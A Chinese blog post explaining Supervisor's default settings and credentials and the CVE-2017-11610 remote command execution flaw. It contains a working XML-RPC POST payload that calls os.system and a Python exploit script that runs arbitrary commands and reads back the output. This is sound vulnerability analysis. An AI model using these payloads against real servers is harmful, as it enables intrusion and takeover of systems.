专栏首页博客笔记Supervisor服务脆弱性

Supervisor服务脆弱性

[TOC]

0.supervisor缺省配置

默认配置文件路径:/etc/supervisor.conf
网站和开放端口:http://localhost:9001
sock目录:unix:////tmp/supervisor.sock
缺省账号密码:
chris/123          
user/123

1.Supervisor远程命令执行漏洞分析|CVE-2017-11610

Supervisor是一个用Python写的进程管理工具,可以很方便的用来启动、重启、关闭进程;用于管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理,是 Linux 服务器管理的效率工具;

漏洞描述: 本次漏洞就出在XML-RPC接口对数据的处理上,默认情况下Supervisor并不会开启这个接口(XML-RPC 在 9001 端口上),相反的是在Supervisor的使用中,很多人喜欢利用web页面来管理,而不是使用上文中提到的supervisorctl命令行工具,使用web页面有一个方便之处,即通过简单配置,使用者可以在其他机器的浏览器上通过网址访问并控制Supervisor,省去非一定在本地配置的麻烦(例如在docker中使用Supervisor,就不用每次进入容器控制Supervisor),开启web访问的配置如下;

利用该漏洞远程POST请求,向Supervisord管理界面提交恶意数据,可以获取服务器操作权限。

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ;

利用条件:

  • Supervisor版本在受影响范围内 (Supervisor version 3.1.2<= x <=Supervisor version 3.3.2)
  • 已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.
  • Supervisor 9001 管理端口可以被外网访问
  • Supervisor 未配置密码或使用弱密码

漏洞利用: 下面举个例子:在这里利用python使用RPC协议给supervisord发一个请求,来看下RPC协议的结构和params、method分别是什么。 抓取的流量如下图:

WeiyiGeek.wirshaek

以此类推,最终的os会是链状结构最后一个方法,然后传入params值,被执行所以如果想攻击利用成功,必须找到一个调用链方法例:

supervisor.supervisord.options.warnings.linecache.os.system

采用burpsuite进行重放:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

WeiyiGeek.burpsuite

Shell反弹:

WeiyiGeek.recv

补充思路: 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

#!/usr/bin/env python3
#useage:exp.py http://user:[email protected]:9001 whoami
import xmlrpc.client
import sys

target = sys.argv[1]
command = sys.argv[2]

with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)
    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)
    print(result[len(old):])

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • sc命令解析与实例使用

    描述:配置服务启动方式或者禁用服务,它有三种状态AUTO/DEMAND/DISABLED; 基础案例:

    WeiyiGeek
  • GitHub高级使用记录

    如果自己写的github爬虫没有特色或者没有很高的效率不如使用Github的API,数据获取可以来得快一些。

    WeiyiGeek
  • wmic命令解析与实例

    描述:wmic.exe是Windows Management Instrumentation,Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理...

    WeiyiGeek
  • 【设计模式】单例模式

    前几天面试一个校招的小朋友,让他写单例模式,没写出来,所以这里把两年前我的学习笔记发一下。这应该是所有设计模式中最简单的设计模式了,从它讲起。

    Leetcode名企之路
  • 掌握 Laravel 的测试方法

    不管你承认与否在研发一款产品时,软件测试对项目而言意义重大,然而是测试通常被我们视而不见。这篇文章我们主要研究 Laravel 框架的测试方法。

    柳公子
  • Windows 技术篇-WPS关闭推送广告配置方法

    WPS 的推送广告非常的频繁,而且360软件净化也净化不了。 好的是,WPS 自带的配置工具就可以关闭广告推送,还是比较良心的。

    小蓝枣
  • SpringDataJPA之PagingAndSortingRepository接口

    PagingAndSortingRepository 接口继承于 CrudRepository 接口,拥有CrudRepository 接口的所有方法, 并新增...

    用户4919348
  • Linux——Ubuntu系统挂载硬盘方法总结(开机自动挂载)

    可以看到,当前有两个硬盘,/dev/sda是原来的40G硬盘,/dev/sdb是刚才新建的5G硬盘,“Disk /dev/sdb doesn't contain...

    Winter_world
  • go get 无反应方法

    landv
  • 年末将至,值得你关注的16个Java 开源项目!

    Guide 哥我自己大三开始维护的,目前算是纯 Java 类型项目中 Star 数量最多的项目了。但是,本仓库的价值远远(+N次 )比不上像 Spring Bo...

    Guide哥

扫码关注云+社区

领取腾讯云代金券